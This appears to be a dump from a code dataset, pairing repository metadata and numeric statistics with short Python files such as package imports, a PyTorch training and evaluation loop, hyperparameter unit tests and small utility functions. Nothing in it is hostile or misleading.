| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
4ceadb82813e07db86aa098c57f9b9c64ca4b872
| 19
|
py
|
Python
|
rsds/process_args.py
|
darrenzimire/RNASeqDesigner
|
1fc5323b13bed0cb62a7ba522cb7e89b23eb3515
|
[
"MIT"
] | null | null | null |
rsds/process_args.py
|
darrenzimire/RNASeqDesigner
|
1fc5323b13bed0cb62a7ba522cb7e89b23eb3515
|
[
"MIT"
] | null | null | null |
rsds/process_args.py
|
darrenzimire/RNASeqDesigner
|
1fc5323b13bed0cb62a7ba522cb7e89b23eb3515
|
[
"MIT"
] | null | null | null |
# encoding =UTF-8
| 6.333333
| 17
| 0.631579
| 3
| 19
| 4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.066667
| 0.210526
| 19
| 2
| 18
| 9.5
| 0.733333
| 0.789474
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
980ab668b495d245976f06c73a3b13b10c93cdc7
| 53
|
py
|
Python
|
distwin/__init__.py
|
ClericPy/distribute-python-on-windows
|
9926e222933e715f51d93bc1ed3c47fb816f2145
|
[
"MIT"
] | 2
|
2020-01-19T01:20:02.000Z
|
2020-04-17T04:11:47.000Z
|
distwin/__init__.py
|
ClericPy/distribute-python-on-windows
|
9926e222933e715f51d93bc1ed3c47fb816f2145
|
[
"MIT"
] | 1
|
2019-10-27T09:50:02.000Z
|
2019-10-27T09:50:02.000Z
|
distwin/__init__.py
|
ClericPy/distribute-python-on-windows
|
9926e222933e715f51d93bc1ed3c47fb816f2145
|
[
"MIT"
] | null | null | null |
from ._controller import ShivUtils, __version__, cli
| 26.5
| 52
| 0.830189
| 6
| 53
| 6.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.113208
| 53
| 1
| 53
| 53
| 0.829787
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
e27667342b1ad7974f44e0b78e71a28008262f28
| 154
|
py
|
Python
|
deui/html/view/dl_element.py
|
urushiyama/DeUI
|
14530d2dae7d96a3dee30759f85e02239fb433c5
|
[
"MIT"
] | 1
|
2021-10-17T01:54:18.000Z
|
2021-10-17T01:54:18.000Z
|
deui/html/view/dl_element.py
|
urushiyama/DeUI
|
14530d2dae7d96a3dee30759f85e02239fb433c5
|
[
"MIT"
] | null | null | null |
deui/html/view/dl_element.py
|
urushiyama/DeUI
|
14530d2dae7d96a3dee30759f85e02239fb433c5
|
[
"MIT"
] | null | null | null |
from .element import Element
class DefinitionList(Element):
"""
Represents definition list.
"""
def __str__(self):
return "dl"
| 14
| 31
| 0.623377
| 15
| 154
| 6.133333
| 0.866667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.272727
| 154
| 10
| 32
| 15.4
| 0.821429
| 0.175325
| 0
| 0
| 0
| 0
| 0.018018
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0.25
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
2c38507952dc77a5101db7c3ea78af7a0e90df77
| 927
|
py
|
Python
|
swagger_server/models/__init__.py
|
Adtrac/swagger_cms
|
4889b5986808555933a1e3db4742fe542bdf2a72
|
[
"MIT"
] | null | null | null |
swagger_server/models/__init__.py
|
Adtrac/swagger_cms
|
4889b5986808555933a1e3db4742fe542bdf2a72
|
[
"MIT"
] | null | null | null |
swagger_server/models/__init__.py
|
Adtrac/swagger_cms
|
4889b5986808555933a1e3db4742fe542bdf2a72
|
[
"MIT"
] | null | null | null |
# coding: utf-8
# flake8: noqa
from __future__ import absolute_import
# import models into model package
from swagger_server.models.asset import Asset
from swagger_server.models.assets import Assets
from swagger_server.models.assets_body import AssetsBody
from swagger_server.models.opening_hour import OpeningHour
from swagger_server.models.player import Player
from swagger_server.models.player_state import PlayerState
from swagger_server.models.players import Players
from swagger_server.models.playout_plan import PlayoutPlan
from swagger_server.models.playout_plan_playouts import PlayoutPlanPlayouts
from swagger_server.models.playout_plan_target_group import PlayoutPlanTargetGroup
from swagger_server.models.report import Report
from swagger_server.models.report_inner import ReportInner
from swagger_server.models.special_days import SpecialDays
from swagger_server.models.special_days_inner import SpecialDaysInner
| 46.35
| 82
| 0.884574
| 126
| 927
| 6.253968
| 0.325397
| 0.195431
| 0.30203
| 0.408629
| 0.436548
| 0.215736
| 0
| 0
| 0
| 0
| 0
| 0.002342
| 0.078749
| 927
| 19
| 83
| 48.789474
| 0.920375
| 0.063646
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
2c7d6abdff653d2941ad4009919b272e10e8f787
| 726
|
py
|
Python
|
RecoBTag/SecondaryVertex/python/candidateNegativeCombinedSecondaryVertexV2Computer_cfi.py
|
SWuchterl/cmssw
|
769b4a7ef81796579af7d626da6039dfa0347b8e
|
[
"Apache-2.0"
] | 6
|
2017-09-08T14:12:56.000Z
|
2022-03-09T23:57:01.000Z
|
RecoBTag/SecondaryVertex/python/candidateNegativeCombinedSecondaryVertexV2Computer_cfi.py
|
SWuchterl/cmssw
|
769b4a7ef81796579af7d626da6039dfa0347b8e
|
[
"Apache-2.0"
] | 545
|
2017-09-19T17:10:19.000Z
|
2022-03-07T16:55:27.000Z
|
RecoBTag/SecondaryVertex/python/candidateNegativeCombinedSecondaryVertexV2Computer_cfi.py
|
SWuchterl/cmssw
|
769b4a7ef81796579af7d626da6039dfa0347b8e
|
[
"Apache-2.0"
] | 14
|
2017-10-04T09:47:21.000Z
|
2019-10-23T18:04:45.000Z
|
import FWCore.ParameterSet.Config as cms
from RecoBTag.SecondaryVertex.candidateCombinedSecondaryVertexV2Computer_cfi import *
candidateNegativeCombinedSecondaryVertexV2Computer = candidateCombinedSecondaryVertexV2Computer.clone()
candidateNegativeCombinedSecondaryVertexV2Computer.vertexFlip = True
candidateNegativeCombinedSecondaryVertexV2Computer.trackFlip = True
candidateNegativeCombinedSecondaryVertexV2Computer.trackSelection.sip3dSigMax = 0
candidateNegativeCombinedSecondaryVertexV2Computer.trackPseudoSelection.sip3dSigMax = 0
candidateNegativeCombinedSecondaryVertexV2Computer.trackPseudoSelection.sip2dSigMin = -99999.9
candidateNegativeCombinedSecondaryVertexV2Computer.trackPseudoSelection.sip2dSigMax = -2.0
| 60.5
| 103
| 0.917355
| 39
| 726
| 17.051282
| 0.641026
| 0.315789
| 0.186466
| 0.246617
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.033094
| 0.0427
| 726
| 11
| 104
| 66
| 0.923741
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.222222
| 0
| 0.222222
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
2ccadd7ba80f38630cf624bef2ae56985513ceed
| 276
|
py
|
Python
|
universa/utils.py
|
amyodov/universa
|
3df21517b078c0f926132f920d5d7fece432bc52
|
[
"MIT"
] | null | null | null |
universa/utils.py
|
amyodov/universa
|
3df21517b078c0f926132f920d5d7fece432bc52
|
[
"MIT"
] | null | null | null |
universa/utils.py
|
amyodov/universa
|
3df21517b078c0f926132f920d5d7fece432bc52
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
import calendar
from datetime import datetime
def ut(date_time):
return calendar.timegm(date_time.timetuple())
def dt(unix_time):
return datetime.utcfromtimestamp(float(unix_time))
| 18.4
| 56
| 0.764493
| 36
| 276
| 5.583333
| 0.611111
| 0.079602
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004202
| 0.137681
| 276
| 14
| 57
| 19.714286
| 0.840336
| 0.076087
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0.428571
| 0.285714
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
e2e0d1ba8178e43791bc4fdccfab6e5114a332ee
| 194
|
py
|
Python
|
kite-python/kite_pkgexploration/kite/__init__.py
|
kiteco/kiteco-public
|
74aaf5b9b0592153b92f7ed982d65e15eea885e3
|
[
"BSD-3-Clause"
] | 17
|
2022-01-10T11:01:50.000Z
|
2022-03-25T03:21:08.000Z
|
kite-python/kite_common/kite/__init__.py
|
kiteco/kiteco-public
|
74aaf5b9b0592153b92f7ed982d65e15eea885e3
|
[
"BSD-3-Clause"
] | 1
|
2022-01-13T14:28:47.000Z
|
2022-01-13T14:28:47.000Z
|
kite-python/kite_common/kite/__init__.py
|
kiteco/kiteco-public
|
74aaf5b9b0592153b92f7ed982d65e15eea885e3
|
[
"BSD-3-Clause"
] | 7
|
2022-01-07T03:58:10.000Z
|
2022-03-24T07:38:20.000Z
|
# this is a namespace package, allowing us to separate out e.g.
# `kite.pkgexploration` into a separate installable distribution
__path__ = __import__('pkgutil').extend_path(__path__, __name__)
| 48.5
| 64
| 0.793814
| 26
| 194
| 5.269231
| 0.846154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.118557
| 194
| 3
| 65
| 64.666667
| 0.80117
| 0.639175
| 0
| 0
| 0
| 0
| 0.104478
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
391d4b6540c85432846aeec1b69cff23e62eeaed
| 186
|
py
|
Python
|
marley/worlds/blackjack/__init__.py
|
cool-RR/grid_royale
|
26e2614eb9b986e9bee180e85edfa9a955b6cc8f
|
[
"MIT"
] | 255
|
2020-10-11T08:36:17.000Z
|
2021-04-18T16:10:38.000Z
|
marley/worlds/blackjack/__init__.py
|
cool-RR/marley
|
fcc39de8964eaf1a28872173538c17ea246591b3
|
[
"MIT"
] | 24
|
2020-10-11T08:38:21.000Z
|
2021-01-23T16:33:41.000Z
|
marley/worlds/blackjack/__init__.py
|
cool-RR/marley
|
fcc39de8964eaf1a28872173538c17ea246591b3
|
[
"MIT"
] | 29
|
2020-10-11T10:55:30.000Z
|
2021-09-21T16:44:20.000Z
|
# Copyright 2020 Ram Rachum and collaborators.
# This program is distributed under the MIT license.
from .core import *
from .sharknadoing import *
from .commanding import command_group
| 31
| 52
| 0.801075
| 25
| 186
| 5.92
| 0.84
| 0.135135
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.025316
| 0.150538
| 186
| 6
| 53
| 31
| 0.911392
| 0.510753
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
1a2f5942ee004989816d672fa57d7dab25fe65a7
| 5,322
|
py
|
Python
|
solver/runners.py
|
bicycleman15/pytorch-classification
|
01e480dad9ea1e9bbf0810b35c1103dd76e06510
|
[
"MIT"
] | null | null | null |
solver/runners.py
|
bicycleman15/pytorch-classification
|
01e480dad9ea1e9bbf0810b35c1103dd76e06510
|
[
"MIT"
] | null | null | null |
solver/runners.py
|
bicycleman15/pytorch-classification
|
01e480dad9ea1e9bbf0810b35c1103dd76e06510
|
[
"MIT"
] | null | null | null |
import torch
from tqdm import tqdm
from utils import Logger, AverageMeter, accuracy
import numpy as np
def train(trainloader, model, criterion, optimizer):
# switch to train mode
model.train()
losses = AverageMeter()
top1 = AverageMeter()
top3 = AverageMeter()
top5 = AverageMeter()
criterion.reset()
bar = tqdm(enumerate(trainloader), total=len(trainloader))
for batch_idx, (inputs, targets) in bar:
inputs, targets = inputs.cuda(), targets.cuda()
# compute output
outputs = model(inputs)
loss_dict = criterion(outputs, targets)
loss = loss_dict[0]["loss"]
# measure accuracy and record loss
prec1, prec3, prec5 = accuracy(outputs.data, targets.data, topk=(1, 3, 5))
losses.update(loss.item(), inputs.size(0))
top1.update(prec1.item(), inputs.size(0))
top3.update(prec3.item(), inputs.size(0))
top5.update(prec5.item(), inputs.size(0))
# compute gradient and do SGD step
optimizer.zero_grad()
loss.backward()
optimizer.step()
# plot progress
bar.set_postfix_str('({batch}/{size}) Loss: {loss:.8f} | top1: {top1: .4f} | top3: {top3: .4f} | top5: {top5: .4f}'.format(
batch=batch_idx + 1,
size=len(trainloader),
loss=losses.avg,
top1=top1.avg,
top3=top3.avg,
top5=top5.avg,
))
return (losses.avg, top1.avg, top3.avg, top5.avg)
@torch.no_grad()
def test(testloader, model, criterion, ece_criterion, sce_criterion, T=1.0):
criterion.reset()
ece_criterion.reset()
sce_criterion.reset()
losses = AverageMeter()
top1 = AverageMeter()
top3 = AverageMeter()
top5 = AverageMeter()
# switch to evaluate mode
model.eval()
bar = tqdm(enumerate(testloader), total=len(testloader))
for batch_idx, (inputs, targets) in bar:
inputs, targets = inputs.cuda(), targets.cuda()
# compute output
outputs = model(inputs)
outputs /= T
loss_dict = criterion(outputs, targets)
loss = loss_dict[0]["loss"]
ece_criterion.forward(outputs,targets)
sce_criterion.forward(outputs,targets)
prec1, prec3, prec5 = accuracy(outputs.data, targets.data, topk=(1, 3, 5))
losses.update(loss.item(), inputs.size(0))
top1.update(prec1.item(), inputs.size(0))
top3.update(prec3.item(), inputs.size(0))
top5.update(prec5.item(), inputs.size(0))
# plot progress
bar.set_postfix_str('({batch}/{size}) Loss: {loss:.8f} | top1: {top1: .4f} | top3: {top3: .4f} | top5: {top5: .4f}'.format(
batch=batch_idx + 1,
size=len(testloader),
loss=losses.avg,
top1=top1.avg,
top3=top3.avg,
top5=top5.avg,
))
eces = ece_criterion.get_overall_ECELoss()
cces = sce_criterion.get_overall_CCELoss()
return (losses.avg, top1.avg, top3.avg, top5.avg, cces.item(), eces.item())
@torch.no_grad()
def get_logits_targets(testloader, model):
# switch to evaluate mode
model.eval()
all_targets = None
all_outputs = None
bar = tqdm(testloader, total=len(testloader))
for inputs, targets in bar:
inputs = inputs.cuda()
# compute output
outputs = model(inputs)
# to numpy
targets = targets.cpu().numpy()
outputs = outputs.cpu().numpy()
if all_targets is None:
all_outputs = outputs
all_targets = targets
else:
all_targets = np.concatenate([all_targets, targets], axis=0)
all_outputs = np.concatenate([all_outputs, outputs], axis=0)
return all_outputs, all_targets
@torch.no_grad()
def get_logits_targets_torch(testloader, model):
# switch to evaluate mode
model.eval()
all_targets = None
all_outputs = None
bar = tqdm(testloader, total=len(testloader))
for inputs, targets in bar:
inputs = inputs.cuda()
targets= targets.cuda()
# compute output
outputs = model(inputs)
if all_targets is None:
all_outputs = outputs
all_targets = targets
else:
all_targets = torch.cat([all_targets, targets], dim=0)
all_outputs = torch.cat([all_outputs, outputs], dim=0)
return all_outputs, all_targets
def fine_tune(trainloader, model, criterion, optimizer):
# switch to train mode
model.train()
losses = AverageMeter()
top1 = AverageMeter()
top3 = AverageMeter()
top5 = AverageMeter()
criterion.reset()
for batch_idx, (inputs, targets) in enumerate(trainloader):
inputs, targets = inputs.cuda(), targets.cuda()
# compute output
outputs = model(inputs)
loss_dict = criterion(outputs, targets)
loss = loss_dict[0]["loss"]
# measure accuracy and record loss
losses.update(loss.item(), inputs.size(0))
# compute gradient and do SGD step
optimizer.zero_grad()
loss.backward()
optimizer.step()
return losses.avg
| 28.010526
| 131
| 0.59038
| 613
| 5,322
| 5.027732
| 0.164763
| 0.038936
| 0.040883
| 0.043803
| 0.771577
| 0.762492
| 0.717067
| 0.67878
| 0.657365
| 0.634004
| 0
| 0.024151
| 0.291995
| 5,322
| 190
| 132
| 28.010526
| 0.79379
| 0.06708
| 0
| 0.743802
| 0
| 0.016529
| 0.040016
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.041322
| false
| 0
| 0.033058
| 0
| 0.115702
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1a501837b7c05445b682794d6cee99572713d9ff
| 417
|
py
|
Python
|
code/mlaipack01/MLAIPractical01.py
|
HaoZeke/ictIITK-AI
|
36abd5464d06d0a05c2a8fd4fa2187f68bbed0ac
|
[
"MIT"
] | null | null | null |
code/mlaipack01/MLAIPractical01.py
|
HaoZeke/ictIITK-AI
|
36abd5464d06d0a05c2a8fd4fa2187f68bbed0ac
|
[
"MIT"
] | null | null | null |
code/mlaipack01/MLAIPractical01.py
|
HaoZeke/ictIITK-AI
|
36abd5464d06d0a05c2a8fd4fa2187f68bbed0ac
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env /home/haozeke/.venvs/ictAI/bin/python
import seaborn
print( 'seaborn:', seaborn.__version__ )
import scipy
print( 'scipy:', scipy.__version__ )
import sklearn
print( 'sklearn:', sklearn.__version__ )
import pandas
print( 'pandas:', pandas.__version__ )
import matplotlib
print( 'matplotlib:', matplotlib.__version__ )
import numpy
print( 'numpy:', numpy.__version__ )
print("Machine Learning")
| 24.529412
| 52
| 0.745803
| 48
| 417
| 5.979167
| 0.395833
| 0.226481
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115108
| 417
| 16
| 53
| 26.0625
| 0.777778
| 0.122302
| 0
| 0
| 0
| 0
| 0.169863
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.461538
| 0
| 0.461538
| 0.538462
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
|
0
| 4
|
1a54bd833cda9c0601bc7647082b20f1dcbb408c
| 93
|
py
|
Python
|
pychemia/population/orbitaldftu/__init__.py
|
petavazohi/PyChemia
|
e779389418771c25c830aed360773c63bb069372
|
[
"MIT"
] | 67
|
2015-01-31T07:44:55.000Z
|
2022-03-21T21:43:34.000Z
|
pychemia/population/orbitaldftu/__init__.py
|
petavazohi/PyChemia
|
e779389418771c25c830aed360773c63bb069372
|
[
"MIT"
] | 13
|
2016-06-03T19:07:51.000Z
|
2022-03-31T04:20:40.000Z
|
pychemia/population/orbitaldftu/__init__.py
|
petavazohi/PyChemia
|
e779389418771c25c830aed360773c63bb069372
|
[
"MIT"
] | 37
|
2015-01-22T15:37:23.000Z
|
2022-03-21T15:38:10.000Z
|
from ._population import OrbitalDFTU, dmatpawu2params, params2dmatpawu, get_final_abinit_out
| 46.5
| 92
| 0.88172
| 10
| 93
| 7.8
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.023256
| 0.075269
| 93
| 1
| 93
| 93
| 0.883721
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
1a5df851de77ca62774ed07a1db9889e68916381
| 190
|
py
|
Python
|
src/hpi/sys.py
|
fvutils/py-dpi
|
7916298bd8c078bb34e405c25b0b02b366abc0de
|
[
"Apache-2.0"
] | 9
|
2019-06-09T12:23:07.000Z
|
2022-01-06T09:47:09.000Z
|
src/hpi/sys.py
|
fvutils/py-dpi
|
7916298bd8c078bb34e405c25b0b02b366abc0de
|
[
"Apache-2.0"
] | null | null | null |
src/hpi/sys.py
|
fvutils/py-dpi
|
7916298bd8c078bb34e405c25b0b02b366abc0de
|
[
"Apache-2.0"
] | 4
|
2020-12-16T15:43:13.000Z
|
2021-12-22T17:41:48.000Z
|
'''
Created on May 19, 2019
@author: ballance
'''
# TODO: implement simulation-access methods
# - yield
# - get sim time
# - ...
#
# The launcher will ultimately implement these methods
#
| 13.571429
| 54
| 0.678947
| 23
| 190
| 5.608696
| 0.913043
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.039216
| 0.194737
| 190
| 13
| 55
| 14.615385
| 0.803922
| 0.878947
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0.076923
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1a7a0f64816073644a87e81f4bd26ca13b4fa285
| 3,569
|
py
|
Python
|
tests/fast_tests/test_common.py
|
alt113/h-baselines
|
67786876d7ee760477d5c5ccb0591fa90f6b7550
|
[
"MIT"
] | null | null | null |
tests/fast_tests/test_common.py
|
alt113/h-baselines
|
67786876d7ee760477d5c5ccb0591fa90f6b7550
|
[
"MIT"
] | null | null | null |
tests/fast_tests/test_common.py
|
alt113/h-baselines
|
67786876d7ee760477d5c5ccb0591fa90f6b7550
|
[
"MIT"
] | null | null | null |
"""Contains tests for the model abstractions and different models."""
import unittest
from hbaselines.common.train import parse_options, get_hyperparameters
from hbaselines.common.train import DEFAULT_TD3_HP
class TestTrain(unittest.TestCase):
"""A simple test to get Travis running."""
def test_parse_options(self):
# Test the default case.
args = parse_options("", "", args=["AntMaze"])
self.assertEqual(args.env_name, "AntMaze")
self.assertEqual(args.n_training, 1)
self.assertEqual(args.steps, 1e6)
self.assertEqual(args.gamma, DEFAULT_TD3_HP["gamma"])
self.assertEqual(args.tau, DEFAULT_TD3_HP["tau"])
self.assertEqual(args.batch_size, DEFAULT_TD3_HP["batch_size"])
self.assertEqual(args.reward_scale, DEFAULT_TD3_HP["reward_scale"])
self.assertEqual(args.actor_lr, DEFAULT_TD3_HP["actor_lr"])
self.assertEqual(args.critic_lr, DEFAULT_TD3_HP["critic_lr"])
self.assertEqual(args.critic_l2_reg, DEFAULT_TD3_HP["critic_l2_reg"])
self.assertEqual(args.clip_norm, DEFAULT_TD3_HP["clip_norm"])
self.assertEqual(args.nb_train_steps, DEFAULT_TD3_HP["nb_train_steps"])
self.assertEqual(args.nb_rollout_steps,
DEFAULT_TD3_HP["nb_rollout_steps"])
self.assertEqual(args.nb_eval_episodes,
DEFAULT_TD3_HP["nb_eval_episodes"])
self.assertEqual(args.normalize_observations, False)
self.assertEqual(args.render, False)
self.assertEqual(args.verbose, 2)
self.assertEqual(args.buffer_size, DEFAULT_TD3_HP["buffer_size"])
self.assertEqual(args.evaluate, False)
# Test custom cases.
args = parse_options("", "", args=[
"AntMaze",
"--n_training", "1",
"--steps", "2",
"--gamma", "3",
"--tau", "4",
"--batch_size", "5",
"--reward_scale", "6",
"--actor_lr", "7",
"--critic_lr", "8",
"--critic_l2_reg", "9",
"--clip_norm", "10",
"--nb_train_steps", "11",
"--nb_rollout_steps", "12",
"--nb_eval_episodes", "13",
"--normalize_observations",
"--render",
"--verbose", "14",
"--buffer_size", "15",
"--evaluate",
])
hp = get_hyperparameters(args)
self.assertEqual(args.n_training, 1)
self.assertEqual(args.steps, 2)
self.assertEqual(hp["gamma"], 3)
self.assertEqual(hp["tau"], 4)
self.assertEqual(hp["batch_size"], 5)
self.assertEqual(hp["reward_scale"], 6)
self.assertEqual(hp["actor_lr"], 7)
self.assertEqual(hp["critic_lr"], 8)
self.assertEqual(hp["critic_l2_reg"], 9)
self.assertEqual(hp["clip_norm"], 10)
self.assertEqual(hp["nb_train_steps"], 11)
self.assertEqual(hp["nb_rollout_steps"], 12)
self.assertEqual(hp["nb_eval_episodes"], 13)
self.assertEqual(hp["normalize_observations"], True)
self.assertEqual(hp["render"], True)
self.assertEqual(hp["verbose"], 14)
self.assertEqual(hp["buffer_size"], 15)
self.assertEqual(args.evaluate, True)
class TestStats(unittest.TestCase):
"""A simple test to get Travis running."""
def test_normalize(self):
pass
def test_denormalize(self):
pass
def test_reduce_var(self):
pass
def test_reduce_std(self):
pass
if __name__ == '__main__':
unittest.main()
| 37.177083
| 79
| 0.609414
| 420
| 3,569
| 4.916667
| 0.221429
| 0.268765
| 0.202421
| 0.030508
| 0.247942
| 0.101695
| 0.101695
| 0.101695
| 0.101695
| 0.101695
| 0
| 0.023481
| 0.248249
| 3,569
| 95
| 80
| 37.568421
| 0.74618
| 0.050434
| 0
| 0.076923
| 0
| 0
| 0.165184
| 0.013642
| 0
| 0
| 0
| 0
| 0.474359
| 1
| 0.064103
| false
| 0.051282
| 0.038462
| 0
| 0.128205
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
1a8d71ca435c39276b608adb17402b48d8827182
| 274
|
py
|
Python
|
mjcbsn22/equal_sides_of_an_array.py
|
richcontext/katas
|
bd14bba0814307bb91cb994966edb423bd13d64f
|
[
"MIT"
] | null | null | null |
mjcbsn22/equal_sides_of_an_array.py
|
richcontext/katas
|
bd14bba0814307bb91cb994966edb423bd13d64f
|
[
"MIT"
] | null | null | null |
mjcbsn22/equal_sides_of_an_array.py
|
richcontext/katas
|
bd14bba0814307bb91cb994966edb423bd13d64f
|
[
"MIT"
] | null | null | null |
def find_even_index(arr):
for index, int in enumerate(arr):
left = sum_range(arr, 0, index)
right = sum_range(arr, index, len(arr))
if left == right:
return index
return -1
def sum_range(arr, a, b):
return sum(arr[a:b + 1])
| 22.833333
| 47
| 0.572993
| 43
| 274
| 3.534884
| 0.465116
| 0.157895
| 0.217105
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.015707
| 0.30292
| 274
| 11
| 48
| 24.909091
| 0.780105
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0
| 0
| 0.111111
| 0.555556
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
1aa75fae12ea584a3ced5a54824248594779c508
